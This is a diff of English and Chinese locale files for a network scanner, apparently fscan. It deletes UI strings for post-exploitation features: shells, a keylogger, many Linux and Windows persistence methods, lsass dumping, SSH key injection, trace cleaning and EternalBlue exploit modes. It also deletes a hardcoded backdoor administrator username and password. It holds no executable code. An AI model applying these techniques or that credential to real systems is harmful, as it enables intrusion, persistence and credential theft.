proxy server on port (e.g.: 1080)" -flag_forward_shell_port: - other: "Start forward shell server on port (e.g.: 4444)" -flag_persistence_file: - other: "Linux persistence target file path (supports .elf/.sh files)" -flag_win_pe_file: - other: "Windows persistence target PE file path (supports .exe/.dll files)" -flag_keylogger_output: - other: "Keylogger output file path" -flag_download_url: - other: "URL of the file to download" -flag_download_path: - other: "Save path for downloaded file" flag_language: other: "Language: zh, en" flag_help: @@ -159,8 +139,6 @@ scan_mode_service_selected: other: "Service scan mode selected" scan_mode_alive_selected: other: "Alive detection mode selected" -scan_mode_local_selected: - other: "Local scan mode selected" scan_mode_web_selected: other: "Web scan mode selected" scan_info_start: @@ -211,8 +189,6 @@ progress_duration: other: "duration" concurrency_plugin: other: "Plugins" -concurrency_local_plugin: - other: "Local Plugins" concurrency_service_plugin: other: "Service Plugins" concurrency_web_plugin: @@ -273,8 +249,6 @@ target_local_mode: other: "Local scan mode" param_conflict_ao_icmp_both: other: "Note: Both -ao and -m icmp specified, both enable alive detection mode" -param_local_multi_plugin: - other: "Only a single local plugin can be specified, multiple plugins separated by '{{.Arg1}}' are not supported" param_join_and: other: "{{.Arg1}} and {{.Arg2}}" @@ -379,14 +353,6 @@ alive_host_item: # ========================= Scanner Messages ========================= http_client_init_failed: other: "HTTP client initialization failed: {{.Arg1}}" -active_reverse_shell: - other: "Active reverse shell detected, keeping program running..." -active_socks5_proxy: - other: "Active SOCKS5 proxy detected, keeping program running..." -active_forward_shell: - other: "Active forward shell detected, keeping program running..." -press_ctrl_c_exit: - other: "Press Ctrl+C to exit" received_exit_signal: other: "Received exit signal, shutting down..." scan_task_complete: @@ -469,14 +435,6 @@ subnet_prefilter_done: other: "Subnet prefilter complete: {{.Arg1}} alive (gateway hits {{.Arg2}}), {{.Arg3}} skipped, {{.Arg4}} hosts remaining" # ========================= Local Scan Messages ========================= -local_plugin_info: - other: "Local plugin: {{.Arg1}}" -local_plugin_not_specified: - other: "Local plugin: Not specified" -local_plugin_not_found: - other: "Error: Local plugin '{{.Arg1}}' does not exist or is not available on current platform" - -# ========================= Service Scan Messages ========================= service_plugin_info: other: "Service plugins: {{.Arg1}}" service_plugin_custom: @@ -515,8 +473,6 @@ plugins_info: other: "{{.Arg1}}: {{.Arg2}}" plugins_none: other: "{{.Arg1}}: None available" -start_local_scan: - other: "Starting local scan" start_service_scan: other: "Starting service scan" start_web_scan: @@ -672,8 +628,6 @@ ms17010_start: other: "MS17-010 exploitation started: {{.Arg1}}" ms17010_complete: other: "MS17-010 exploitation completed: {{.Arg1}}" -ms17010_shellcode_complete: - other: "{{.Arg1}} MS17-010 exploitation completed (Shellcode length: {{.Arg2}})" ms17010_protocol_decrypt_error: other: "Protocol request decryption error: {{.Arg1}}" ms17010_protocol_decode_error: @@ -696,42 +650,6 @@ ms17010_vuln_banner: other: "MS17-010 vulnerability ({{.Arg1}})" ms17010_not_vulnerable: other: "Target is not vulnerable to MS17-010" -ms17010_exploit_header: - other: "=== MS17-010 exploitation result - {{.Arg1}} ===" -ms17010_exploit_check_failed: - other: "[Vulnerability check failed] {{.Arg1}}" -ms17010_exploit_not_vulnerable: - other: "[Vulnerability status] Target is not vulnerable to MS17-010" -ms17010_exploit_confirmed: - other: "[Vulnerability confirmed] MS17-010 vulnerability exists" -ms17010_exploit_os: - other: "[Operating system] {{.Arg1}}" -ms17010_exploit_backdoor_found: - other: "[Backdoor check] DOUBLEPULSAR backdoor found" -ms17010_exploit_backdoor_not_found: - other: "[Backdoor check] DOUBLEPULSAR backdoor not found" -ms17010_exploit_mode: - other: "[Exploit mode] {{.Arg1}}" -ms17010_exploit_start_attack: - other: "[Exploit status] Starting EternalBlue attack..." -ms17010_exploit_failed: - other: "[Exploit result] Exploit failed: {{.Arg1}}" -ms17010_exploit_success: - other: "[Exploit result] Exploit completed successfully" -ms17010_exploit_bind_hint: - other: "[Connection hint] Use the following command to connect to Bind Shell:" -ms17010_exploit_add_hint: - other: "[Access hint] Administrator account added. Connect with:" -ms17010_exploit_add_credential: - other: " Username: sysadmin Password: 1qaz@WSX!@#4" -ms17010_exploit_guest_hint: - other: "[Access hint] Guest account enabled. Remote connection is available" -ms17010_exploit_detect_only: - other: "[Exploit mode] Detection only (shellcode not configured)" -ms17010_exploit_shellcode_hint: - other: "[Hint] Use -sc to configure shellcode for exploitation" -ms17010_exploit_supported_modes: - other: " Supported modes: bind, add, guest, or custom shellcode" ms17010_base64_decode_failed: other: "base64 decode failed" ms17010_aes_cipher_failed: @@ -770,18 +688,6 @@ ms17010_read_pipe_error: other: "Read pipe response error" ms17010_pipe_response_incomplete: other: "Pipe response incomplete" -ms17010_bind_shellcode_decrypt_failed: - other: "Failed to decrypt bind shellcode" -ms17010_add_shellcode_decrypt_failed: - other: "Failed to decrypt add shellcode" -ms17010_guest_shellcode_decrypt_failed: - other: "Failed to decrypt guest shellcode" -ms17010_shellcode_file_read_failed: - other: "Failed to read shellcode file" -ms17010_invalid_shellcode: - other: "Invalid shellcode" -ms17010_shellcode_decode_failed: - other: "Shellcode decode failed" findnet_discovery_failed: other: "Network discovery failed" findnet_hostname: @@ -964,362 +870,6 @@ netbios_header_too_short: other: "NetBIOS header too short" message_length_too_large: other: "Message length too large" -local_target: - other: "Target: {{.Arg1}}" -local_platform: - other: "Platform: {{.Arg1}}" -local_listen_port: - other: "Listen port: {{.Arg1}}" -local_output_file: - other: "Output file: {{.Arg1}}" -local_start_time: - other: "Start time: {{.Arg1}}" -unsupported_platform: - other: "Unsupported platform: {{.Arg1}}" -unsupported_os: - other: "Unsupported operating system: {{.Arg1}}" -connection_failed_plain: - other: "Connection failed" -listen_port_failed: - other: "Failed to listen on port" -command_timeout: - other: "Command execution timed out" -command_exec_failed: - other: "Command execution failed: {{.Arg1}}" -command_success_no_output: - other: "(Command completed successfully with no output)" -command_error_with_output: - other: "Error: {{.Arg1}}\n{{.Arg2}}" -reverseshell_header: - other: "=== Go native reverse shell ===" -reverseshell_error: - other: "Reverse shell error: {{.Arg1}}" -reverseshell_done: - other: "✓ Reverse shell completed" -forwardshell_header: - other: "=== Forward shell server ===" -forwardshell_server_error: - other: "Forward shell server error: {{.Arg1}}" -forwardshell_done: - other: "✓ Forward shell service completed" -socks5_header: - other: "=== SOCKS5 proxy server ===" -socks5_server_error: - other: "SOCKS5 proxy server error: {{.Arg1}}" -socks5_done: - other: "✓ SOCKS5 proxy completed" -socks5_handshake_read_failed: - other: "Failed to read handshake request" -socks5_unsupported_version: - other: "Unsupported SOCKS version" -socks5_handshake_write_failed: - other: "Failed to send handshake response" -socks5_request_read_failed: - other: "Failed to read connection request" -socks5_invalid_request: - other: "Invalid SOCKS5 request" -socks5_unsupported_command: - other: "Unsupported command" -ipv4_address_invalid: - other: "Invalid IPv4 address format" -domain_format_invalid: - other: "Invalid domain format" -domain_length_invalid: - other: "Invalid domain length" -ipv6_address_invalid: - other: "Invalid IPv6 address format" -socks5_unsupported_address_type: - other: "Unsupported address type" -socks5_target_connect_failed: - other: "Failed to connect to target server" -local_address_unavailable: - other: "Unable to get local address" -socks5_success_response_failed: - other: "Failed to send success response" -socks5_proxy_connection_established: - other: "Proxy connection established: {{.Arg1}}" -keylogger_header: - other: "=== Keylogger ===" -keylogger_output_permission_failed: - other: "Output file permission check failed: {{.Arg1}}" -platform_requirement_failed: - other: "Platform requirement check failed: {{.Arg1}}" -keylogger_failed: - other: "Keylogging failed: {{.Arg1}}" -keylogger_failed_plain: - other: "Keylogging failed" -keylogger_done: - other: "✓ Keylogging completed" -keylogger_event_count: - other: "Captured event count: {{.Arg1}}" -keylogger_log_file: - other: "Log file: {{.Arg1}}" -output_file_create_failed: - other: "Unable to create output file {{.Arg1}}" -output_file_open_failed: - other: "Unable to open output file" -keylogger_log_header: - other: "=== Keylog ===" -keylogger_header_write_failed: - other: "Failed to write header information" -keylogger_entry_write_failed: - other: "Failed to write keylog entry" -keylogger_demo_windows: - other: "Demo keylog - Windows platform" -keylogger_demo_linux: - other: "Demo keylog - Linux platform" -keylogger_demo_darwin: - other: "Demo keylog - macOS platform" -command_read_failed: - other: "Failed to read command" -local_target_file: - other: "Target file: {{.Arg1}}" -persistence_file_required: - other: "Specify target file path with -persistence-file" -target_file_not_specified: - other: "Target file not specified" -target_file_not_exist: - other: "Target file does not exist: {{.Arg1}}" -copy_file_failed: - other: "✗ Failed to copy file: {{.Arg1}}" -file_copied_to: - other: "✓ File copied to: {{.Arg1}}" -persistence_complete_summary: - other: "Persistence completed: success({{.Arg1}}) total({{.Arg2}})" -crontask_linux_only: - other: "Cron task persistence only supports Linux" -crontab_unavailable: - other: "crontab command is unavailable" -crontask_header: - other: "=== Cron task persistence ===" -crontask_user_add_failed: - other: "✗ Failed to add user cron task: {{.Arg1}}" -crontask_user_added: - other: "✓ User crontab task added" -crontask_system_add_failed: - other: "✗ Failed to add system cron task: {{.Arg1}}" -crontask_system_added: - other: "✓ System cron task added: {{.Arg1}}" -crontask_at_add_failed: - other: "✗ Failed to add at task: {{.Arg1}}" -crontask_at_added: - other: "✓ at delayed task added" -crontask_anacron_add_failed: - other: "✗ Failed to add anacron task: {{.Arg1}}" -crontask_anacron_added: - other: "✓ anacron task added" -persistence_dir_create_failed: - other: "Unable to create persistence directory" -crontask_system_create_none: - other: "Unable to create any system cron task" -systemdservice_linux_only: - other: "System service persistence only supports Linux" -systemctl_unavailable: - other: "systemctl command is unavailable: {{.Arg1}}" -systemdservice_header: - other: "=== System service persistence ===" -systemdservice_create_failed: - other: "✗ Failed to create systemd service: {{.Arg1}}" -systemdservice_created: - other: "✓ systemd service created: {{.Arg1}}" -systemdservice_start_failed: - other: "✗ Failed to start service: {{.Arg1}}" -systemdservice_started: - other: "✓ Service enabled and started" -systemdservice_user_create_failed: - other: "✗ Failed to create user service: {{.Arg1}}" -systemdservice_user_created: - other: "✓ User service created: {{.Arg1}}" -systemdservice_timer_create_failed: - other: "✗ Failed to create timer service: {{.Arg1}}" -systemdservice_timer_created: - other: "✓ systemd timer created" -systemdservice_complete_summary: - other: "System service persistence completed: success({{.Arg1}}) total({{.Arg2}})" -service_dir_create_failed: - other: "Unable to create service directory" -systemdservice_create_none: - other: "Unable to create any systemd service file" -service_operation_error: - other: "Service operation error" -ldpreload_linux_only: - other: "LD_PRELOAD persistence only supports Linux" -ldpreload_so_required: - other: "Target file must be a .so dynamic library: {{.Arg1}}" -invalid_file_type: - other: "Invalid file type" -ldpreload_header: - other: "=== LD_PRELOAD persistence ===" -ldpreload_copy_system_failed: - other: "✗ Failed to copy file to system directory: {{.Arg1}}" -ldpreload_env_add_failed: - other: "✗ Failed to add environment variable: {{.Arg1}}" -ldpreload_env_added: - other: "✓ Added to global environment variables" -ldpreload_shell_add_failed: - other: "✗ Failed to add shell configuration: {{.Arg1}}" -ldpreload_shell_added: - other: "✓ Added to shell configuration: {{.Arg1}}" -ldpreload_config_create_failed: - other: "✗ Failed to create ld config: {{.Arg1}}" -ldpreload_config_created: - other: "✓ ld preload config created" -ldpreload_complete_summary: - other: "LD_PRELOAD persistence completed: success({{.Arg1}}) total({{.Arg2}})" -ldpreload_system_lib_dir_not_found: - other: "No suitable system library directory found" -ldpreload_shell_config_modify_none: - other: "Unable to modify any shell configuration file" -cleaner_removed: - other: "[Clean] {{.Arg1}}" -cleaner_history_removed: - other: "[Clean] removed fscan records from {{.Arg1}}" -sshkey_mkdir_failed: - other: "[Failed] {{.Arg1}}: unable to create .ssh directory: {{.Arg2}}" -sshkey_generate_failed: - other: "[Failed] {{.Arg1}}: key generation failed: {{.Arg2}}" -sshkey_authorized_read_failed: - other: "[Failed] {{.Arg1}}: failed to read authorized_keys: {{.Arg2}}" -sshkey_public_exists: - other: "[Skip] {{.Arg1}}: public key already exists" -sshkey_authorized_write_failed: - other: "[Failed] {{.Arg1}}: unable to write authorized_keys: {{.Arg2}}" -sshkey_private_save_failed: - other: "[Failed] {{.Arg1}}: failed to save private key: {{.Arg2}}" -sshkey_injected: - other: "[Success] {{.Arg1}}: public key injected into {{.Arg2}}, private key saved as {{.Arg3}}" -minidump_admin_required: - other: "Administrator privileges required" -minidump_load_dll_failed: - other: "Failed to load system DLL: {{.Arg1}}" -minidump_try_direct: - other: "[*] Trying direct memory dump..." -minidump_av_skip_direct: - other: "[*] Security software protection detected, skipping direct dump" -minidump_try_comsvcs: - other: "[*] Trying comsvcs.dll method..." -minidump_try_regsave: - other: "[*] Trying reg save registry export..." -minidump_all_failed: - other: "[!] All methods failed" -minidump_all_methods_failed: - other: "All credential extraction methods failed" -minidump_find_lsass_failed: - other: " Failed to find lsass.exe: {{.Arg1}}" -minidump_privilege_failed: - other: " Privilege escalation failed: {{.Arg1}}" -minidump_direct_failed: - other: " Direct dump failed: {{.Arg1}}" -minidump_method_direct: - other: "Direct memory dump" -minidump_comsvcs_failed: - other: " comsvcs.dll failed: {{.Arg1}}" -minidump_hive_export_failed: - other: " ✗ {{.Arg1}} export failed" -minidump_regsave_done: - other: "[+] Registry hive export completed, parse offline with secretsdump" -minidump_method_success: - other: "[+] {{.Arg1}} succeeded: {{.Arg2}} ({{.Arg3}} bytes)" -minidump_load_named_dll_failed: - other: "Failed to load {{.Arg1}}" -minidump_find_proc_failed: - other: "Failed to find {{.Arg1}} function" -minidump_snapshot_create_failed: - other: "Failed to create process snapshot" -minidump_first_process_failed: - other: "Failed to get first process" -minidump_process_name_convert_failed: - other: "Failed to convert process name" -minidump_process_not_found: - other: "Process not found: {{.Arg1}}" -minidump_open_process_token_failed: - other: "Failed to open process token" -minidump_privilege_name_convert_failed: - other: "Failed to convert privilege name" -minidump_lookup_privilege_failed: - other: "Failed to look up privilege value" -minidump_adjust_token_failed: - other: "Failed to adjust token privileges" -minidump_current_process_failed: - other: "Failed to get current process handle" -minidump_timeout: - other: "Memory dump timed out (120 seconds)" -minidump_write_dump_failed: - other: "Failed to write dump file" -minidump_open_process_failed: - other: "Failed to open process" -file_create_failed: - other: "Failed to create file" -local_step_failed: - other: "[Failed] {{.Arg1}}: {{.Arg2}}" -local_step_success: - other: "[Success] {{.Arg1}}" -local_step_success_detail: - other: "[Success] {{.Arg1}} ({{.Arg2}})" -local_step_success_arrow: - other: "[Success] {{.Arg1}} -> {{.Arg2}}" -winregistry_current_user_run: - other: "Current user Run" -winregistry_local_machine_run: - other: "Local machine Run" -winregistry_current_user_runonce: - other: "Current user RunOnce" -winregistry_step_success: - other: "[Success] {{.Arg1}}: {{.Arg2}}\\{{.Arg3}}" -winifeo_sticky_keys: - other: "Sticky Keys (Shift x5)" -winifeo_accessibility: - other: "Accessibility (Win+U)" -winifeo_narrator: - other: "Narrator" -winlogon_userinit_append: - other: "Userinit append" -winlogon_shell_append: - other: "Shell append" -winbits_create_task_failed: - other: "[Failed] Create task: {{.Arg1}}" -winbits_guid_extract_failed: - other: "[Failed] Unable to extract task GUID" -winbits_task_created: - other: "[Success] Created task: {{.Arg1}} ({{.Arg2}})" -winbits_add_file: - other: "Add file" -winbits_set_callback: - other: "Set callback" -winbits_set_retry: - other: "Set retry" -winbits_resume_task: - other: "Resume task" -winstartup_user_folder: - other: "User startup folder" -winstartup_common_folder: - other: "Common startup folder" -cleaner_restore_winlogon_shell: - other: "[Restore] Winlogon Shell: {{.Arg1}} -> {{.Arg2}}" -cleaner_restore_winlogon_userinit: - other: "[Restore] Winlogon Userinit: {{.Arg1}} -> {{.Arg2}}" -cleaner_ifeo_removed: - other: "[Clean] IFEO: {{.Arg1}}" -cleaner_registry_removed: - other: "[Clean] Registry: {{.Arg1}}\\{{.Arg2}}" -cleaner_schtask_removed: - other: "[Clean] Scheduled task: {{.Arg1}}" -cleaner_service_removed: - other: "[Clean] Service: {{.Arg1}}" -cleaner_startup_removed: - other: "[Clean] Startup folder: {{.Arg1}}" -cleaner_bits_removed: - other: "[Clean] BITS: {{.Arg1}}" -cleaner_wmi_removed: - other: "[Clean] WMI event subscription" -cleaner_prefetch_removed: - other: "[Clean] Prefetch: {{.Arg1}}" -systeminfo_antivirus_process_count: - other: "{{.Arg1}} ({{.Arg2}} processes)" -powershell_exec_failed: - other: "PowerShell execution failed" -command_output: - other: "output" webtitle_no_fingerprint_skip_poc: other: "WebTitle {{.Arg1}} has no matching fingerprint, skipping POC scan" webtitle_cdn_waf_skip_poc: @@ -1363,214 +913,6 @@ redis_cron_success: redis_restore_failed: other: "Failed to restore database config: {{.Arg1}}" -# ========================= Local Plugin Messages ========================= -# Cron task persistence -crontask_success: - other: "Cron task persistence completed: {{.Arg1}} methods succeeded" - -# Keylogger -keylogger_success: - other: "Keylogging completed, captured {{.Arg1}} keyboard events" -keylogger_save_failed: - other: "Failed to save keylog: {{.Arg1}}" -keylogger_no_input: - other: "No keyboard input captured" - - -# Windows WMI -winwmi_success: - other: "Windows WMI event subscription persistence completed: {{.Arg1}} items" - -# Cleaner -cleaner_success: - other: "Trace cleaning completed: {{.Arg1}} files, {{.Arg2}} system entries" -cleaner_history_found: - other: "Found history file: {{.Arg1}} (requires manual cleanup)" - - -# Forward shell -forwardshell_complete: - other: "Forward shell service completed - port: {{.Arg1}}" -forwardshell_started: - other: "Forward shell server started on 0.0.0.0:{{.Arg1}}" -forwardshell_accept_failed: - other: "Failed to accept connection: {{.Arg1}}" -forwardshell_client_connected: - other: "Client connected from: {{.Arg1}}" -forwardshell_read_failed: - other: "Failed to read client command: {{.Arg1}}" - -# IFEO image hijacking -winifeo_success: - other: "IFEO image hijacking completed: {{.Arg1}} targets" - -# BITS persistence -winbits_success: - other: "BITS persistence completed: {{.Arg1}}" - -# Winlogon persistence -winlogon_success: - other: "Winlogon persistence completed: {{.Arg1}} entries" - -# Windows startup folder -winstartup_success: - other: "Windows startup folder persistence completed: {{.Arg1}} methods" - -# Windows service -winservice_success: - other: "Windows service persistence completed: {{.Arg1}} items" - - -# SSH Key injection -sshkey_success: - other: "SSH key injection completed: {{.Arg1}} users" - -# LD_PRELOAD -ldpreload_success: - other: "LD_PRELOAD persistence completed: {{.Arg1}} methods succeeded" - -# SOCKS5 proxy -socks5_starting: - other: "Starting SOCKS5 proxy on port {{.Arg1}}" -socks5_complete: - other: "SOCKS5 proxy completed - port: {{.Arg1}}" -socks5_started: - other: "SOCKS5 proxy server started on 127.0.0.1:{{.Arg1}}" -socks5_cancelled: - other: "SOCKS5 proxy server cancelled by context" -socks5_accept_failed: - other: "Failed to accept connection: {{.Arg1}}" -socks5_handshake_failed: - other: "SOCKS5 handshake failed: {{.Arg1}}" -socks5_request_failed: - other: "SOCKS5 request handling failed: {{.Arg1}}" -socks5_connected: - other: "SOCKS5 proxy connection established" - -# Reverse shell -reverseshell_complete: - other: "Reverse shell completed - target: {{.Arg1}}" -reverseshell_connected: - other: "Reverse shell connected to {{.Arg1}}:{{.Arg2}}" - -# Systemd service -systemdservice_success: - other: "Systemd service persistence completed: {{.Arg1}} methods succeeded" - -# System info -minidump_regsave_success: - other: "Registry hive export completed (SAM/SECURITY/SYSTEM)" - -systeminfo_start: - other: "Starting system information collection" -systeminfo_os: - other: "Operating System: {{.Arg1}}" -systeminfo_arch: - other: "Architecture: {{.Arg1}}" -systeminfo_cpu: - other: "CPU Cores: {{.Arg1}}" -systeminfo_hostname: - other: "Hostname: {{.Arg1}}" -systeminfo_user: - other: "Current User: {{.Arg1}}" -systeminfo_homedir: - other: "Home Directory: {{.Arg1}}" -systeminfo_workdir: - other: "Working Directory: {{.Arg1}}" -systeminfo_tempdir: - other: "Temp Directory: {{.Arg1}}" -systeminfo_pathcount: - other: "PATH entries: {{.Arg1}}" -systeminfo_winver: - other: "Windows Version: {{.Arg1}}" -systeminfo_domain: - other: "User Domain: {{.Arg1}}" -systeminfo_kernel: - other: "System Kernel: {{.Arg1}}" -systeminfo_distro: - other: "Distribution: {{.Arg1}}" -systeminfo_distro_exists: - other: "Distribution: /etc/os-release exists" -systeminfo_whoami: - other: "Current User (whoami): {{.Arg1}}" -systeminfo_iface: - other: "Interface {{.Arg1}}: {{.Arg2}} (MAC: {{.Arg3}})" -systeminfo_privilege: - other: "Privilege Level: {{.Arg1}}" -systeminfo_privilege_group: - other: "Admin Group: {{.Arg1}}" -systeminfo_id_info: - other: "User Info: {{.Arg1}}" -systeminfo_firewall: - other: "Firewall: {{.Arg1}}" -systeminfo_firewall_rules: - other: "Firewall Rules: {{.Arg1}}" -systeminfo_patches: - other: "Installed Patches: {{.Arg1}}" -systeminfo_antivirus: - other: "Antivirus Detected: {{.Arg1}}" -systeminfo_av_process: - other: " - {{.Arg1}}" -systeminfo_sudo: - other: "Sudo Privileges: {{.Arg1}}" -systeminfo_macos_detail: - other: "macOS: {{.Arg1}}" -systeminfo_sensitive_env: - other: "Sensitive Env Var: {{.Arg1}}={{.Arg2}}" -systeminfo_sensitive_file: - other: "Sensitive File: {{.Arg1}}" -systeminfo_dc_detected: - other: "Domain detected: {{.Arg1}}" -systeminfo_dc_connect_failed: - other: "Domain controller connection failed: {{.Arg1}}" -systeminfo_dc_basedn: - other: "Domain Base DN: {{.Arg1}}" -systeminfo_dc_created: - other: "Domain created: {{.Arg1}}" -systeminfo_dc_func_level: - other: "Domain functional level: {{.Arg1}}" -systeminfo_dc_controllers: - other: "Domain controllers: {{.Arg1}}" -systeminfo_dc_controller_detail: - other: " - {{.Arg1}} ({{.Arg2}}) {{.Arg3}}" -systeminfo_dc_admins: - other: "Domain admins: {{.Arg1}}" -systeminfo_dc_admin_detail: - other: " - {{.Arg1}} ({{.Arg2}})" -systeminfo_dc_users: - other: "Domain users: {{.Arg1}}" -systeminfo_dc_computers: - other: "Domain computers: {{.Arg1}}" -systeminfo_dc_computer_detail: - other: " - {{.Arg1}} ({{.Arg2}})" -systeminfo_dc_gpos: - other: "Group policies: {{.Arg1}}" -systeminfo_dc_gpo_detail: - other: " - {{.Arg1}} [{{.Arg2}}]" - -# Windows scheduled task -winschtask_success: - other: "Windows scheduled task persistence completed: {{.Arg1}} items" - -# Windows registry -winregistry_success: - other: "Windows registry persistence completed: {{.Arg1}} items" - -# Minidump -minidump_panic: - other: "Minidump plugin panic: {{.Arg1}}" -minidump_success: - other: "Successfully dumped lsass.exe memory to file: {{.Arg1}} (size: {{.Arg2}} bytes)" - -# Local plugin common errors -local_pe_not_specified: - other: "No PE file specified, use -win-pe parameter" -local_pe_not_found: - other: "PE file not found: {{.Arg1}}" -local_invalid_pe: - other: "Invalid PE file: {{.Arg1}}" - -# ========================= WebScan Messages ========================= webscan_target_url_failed: other: "Failed to build target URL: {{.Arg1}}" webscan_invalid_url: @@ -1653,8 +995,8 @@ webscan_poc_dir_read_failed: other: "Failed to read POC directory: {{.Arg1}}" webscan_unknown_poc_format: other: "Unknown POC format" -webscan_fscan_format_parse_failed: - other: "fscan format parse failed" +webscan_native_format_parse_failed: + other: "scanner format parse failed" webscan_nuclei_format_parse_failed: other: "nuclei format parse failed" webscan_nuclei_no_http_rules: @@ -1694,7 +1036,7 @@ webscan_request_send_error: param_error: other: "Parameter error: {{.Arg1}}" param_exclusive: - other: "Parameters {{.Arg1}} are mutually exclusive, specify only one scan target\n -h: network host scan\n -u: Web URL scan\n -local: local information collection" + other: "Parameters {{.Arg1}} are mutually exclusive, specify only one scan target\n -h: network host scan\n -u: Web URL scan" error_generic: other: "Error: {{.Arg1}}" init_failed: diff --git a/common/i18n/locales/zh.yaml b/common/i18n/locales/zh.yaml index 3fdd620a..1b9af5cc 100644 --- a/common/i18n/locales/zh.yaml +++ b/common/i18n/locales/zh.yaml @@ -1,4 +1,4 @@ -# fscan 中文翻译文件 +# Scanner 中文翻译文件 # 仅包含实际使用的消息(115个) # ========================= 命令行参数 (71个) ========================= @@ -36,10 +36,8 @@ flag_disable_tcp_probe: other: "禁用TCP补充探测" flag_disable_subnet_probe: other: "禁用网段预筛(大规模扫描时跳过空 /24 网段的优化)" -flag_local_plugin: - other: "指定本地插件名称 (如: cleaner, systeminfo, keylogger 等)" flag_debug: - other: "开启调试模式,日志写入fscan_debug.log" + other: "开启调试模式,日志写入debug.log" flag_alive_only: other: "仅进行存活探测" flag_username: @@ -132,24 +130,6 @@ flag_disable_progress: other: "禁用进度条" flag_perf_stats: other: "输出性能统计JSON" -flag_shellcode: - other: "Shellcode" -flag_reverse_shell_target: - other: "反弹Shell目标地址:端口 (如: 192.168.1.100:4444)" -flag_start_socks5_server: - other: "启动SOCKS5代理服务器端口 (如: 1080)" -flag_forward_shell_port: - other: "启动正向Shell服务器端口 (如: 4444)" -flag_persistence_file: - other: "Linux持久化目标文件路径 (支持.elf/.sh文件)" -flag_win_pe_file: - other: "Windows持久化目标PE文件路径 (支持.exe/.dll文件)" -flag_keylogger_output: - other: "键盘记录输出文件路径" -flag_download_url: - other: "要下载的文件URL" -flag_download_path: - other: "下载文件保存路径" flag_language: other: "语言: zh, en" flag_help: @@ -159,8 +139,6 @@ scan_mode_service_selected: other: "已选择服务扫描模式" scan_mode_alive_selected: other: "已选择存活探测模式" -scan_mode_local_selected: - other: "已选择本地扫描模式" scan_mode_web_selected: other: "已选择Web扫描模式" scan_info_start: @@ -211,8 +189,6 @@ progress_duration: other: "耗时" concurrency_plugin: other: "插件" -concurrency_local_plugin: - other: "本地插件" concurrency_service_plugin: other: "服务插件" concurrency_web_plugin: @@ -273,8 +249,6 @@ target_local_mode: other: "本地扫描模式" param_conflict_ao_icmp_both: other: "提示: 同时指定了 -ao 和 -m icmp,两者功能相同,使用存活探测模式" -param_local_multi_plugin: - other: "本地插件只能指定单个插件,不支持使用 '{{.Arg1}}' 分隔的多个插件" param_join_and: other: "{{.Arg1}} 和 {{.Arg2}}" @@ -379,14 +353,6 @@ alive_host_item: # ========================= 扫描器消息 ========================= http_client_init_failed: other: "HTTP客户端初始化失败: {{.Arg1}}" -active_reverse_shell: - other: "检测到活跃的反弹Shell,保持程序运行..." -active_socks5_proxy: - other: "检测到活跃的SOCKS5代理,保持程序运行..." -active_forward_shell: - other: "检测到活跃的正向Shell,保持程序运行..." -press_ctrl_c_exit: - other: "按 Ctrl+C 退出程序" received_exit_signal: other: "收到退出信号,正在关闭..." scan_task_complete: @@ -469,14 +435,6 @@ subnet_prefilter_done: other: "网段预筛完成: {{.Arg1}} 个存活 (网关命中 {{.Arg2}}), {{.Arg3}} 个跳过, 剩余 {{.Arg4}} 主机" # ========================= 本地扫描消息 ========================= -local_plugin_info: - other: "本地插件: {{.Arg1}}" -local_plugin_not_specified: - other: "本地插件: 未指定" -local_plugin_not_found: - other: "错误: 本地插件 '{{.Arg1}}' 不存在或在当前平台不可用" - -# ========================= 服务扫描消息 ========================= service_plugin_info: other: "服务插件: {{.Arg1}}" service_plugin_custom: @@ -515,8 +473,6 @@ plugins_info: other: "{{.Arg1}}: {{.Arg2}}" plugins_none: other: "{{.Arg1}}: 无可用插件" -start_local_scan: - other: "开始本地扫描" start_service_scan: other: "开始服务扫描" start_web_scan: @@ -672,8 +628,6 @@ ms17010_start: other: "MS17-010利用开始: {{.Arg1}}" ms17010_complete: other: "MS17-010利用完成: {{.Arg1}}" -ms17010_shellcode_complete: - other: "{{.Arg1}} MS17-010漏洞利用完成 (Shellcode长度: {{.Arg2}})" ms17010_protocol_decrypt_error: other: "协议请求解密错误: {{.Arg1}}" ms17010_protocol_decode_error: @@ -696,42 +650,6 @@ ms17010_vuln_banner: other: "MS17-010漏洞 ({{.Arg1}})" ms17010_not_vulnerable: other: "目标不存在MS17-010漏洞" -ms17010_exploit_header: - other: "=== MS17-010漏洞利用结果 - {{.Arg1}} ===" -ms17010_exploit_check_failed: - other: "[漏洞检测失败] {{.Arg1}}" -ms17010_exploit_not_vulnerable: - other: "[漏洞状态] 目标不存在MS17-010漏洞" -ms17010_exploit_confirmed: - other: "[漏洞确认] MS17-010漏洞存在" -ms17010_exploit_os: - other: "[操作系统] {{.Arg1}}" -ms17010_exploit_backdoor_found: - other: "[后门检测] 发现DOUBLEPULSAR后门" -ms17010_exploit_backdoor_not_found: - other: "[后门检测] 未发现DOUBLEPULSAR后门" -ms17010_exploit_mode: - other: "[利用模式] {{.Arg1}}" -ms17010_exploit_start_attack: - other: "[利用状态] 开始执行EternalBlue攻击..." -ms17010_exploit_failed: - other: "[利用结果] 利用失败: {{.Arg1}}" -ms17010_exploit_success: - other: "[利用结果] 漏洞利用成功完成" -ms17010_exploit_bind_hint: - other: "[连接建议] 使用以下命令连接Bind Shell:" -ms17010_exploit_add_hint: - other: "[访问建议] 已添加管理员账户,可以通过以下方式连接:" -ms17010_exploit_add_credential: - other: " 用户名: sysadmin 密码: 1qaz@WSX!@#4" -ms17010_exploit_guest_hint: - other: "[访问建议] 已激活Guest账户,可以直接远程连接" -ms17010_exploit_detect_only: - other: "[利用模式] 仅检测模式 (未配置Shellcode)" -ms17010_exploit_shellcode_hint: - other: "[建议] 可使用 -sc 参数配置Shellcode进行实际利用" -ms17010_exploit_supported_modes: - other: " 支持的模式: bind, add, guest 或自定义shellcode" ms17010_base64_decode_failed: other: "base64解码失败" ms17010_aes_cipher_failed: @@ -770,18 +688,6 @@ ms17010_read_pipe_error: other: "读取管道响应错误" ms17010_pipe_response_incomplete: other: "管道响应不完整" -ms17010_bind_shellcode_decrypt_failed: - other: "解密bind shellcode失败" -ms17010_add_shellcode_decrypt_failed: - other: "解密add shellcode失败" -ms17010_guest_shellcode_decrypt_failed: - other: "解密guest shellcode失败" -ms17010_shellcode_file_read_failed: - other: "读取Shellcode文件失败" -ms17010_invalid_shellcode: - other: "无效的Shellcode" -ms17010_shellcode_decode_failed: - other: "shellcode解码失败" findnet_discovery_failed: other: "网络发现失败" findnet_hostname: @@ -964,362 +870,6 @@ netbios_header_too_short: other: "NetBIOS头部长度不足" message_length_too_large: other: "消息长度过大" -local_target: - other: "目标: {{.Arg1}}" 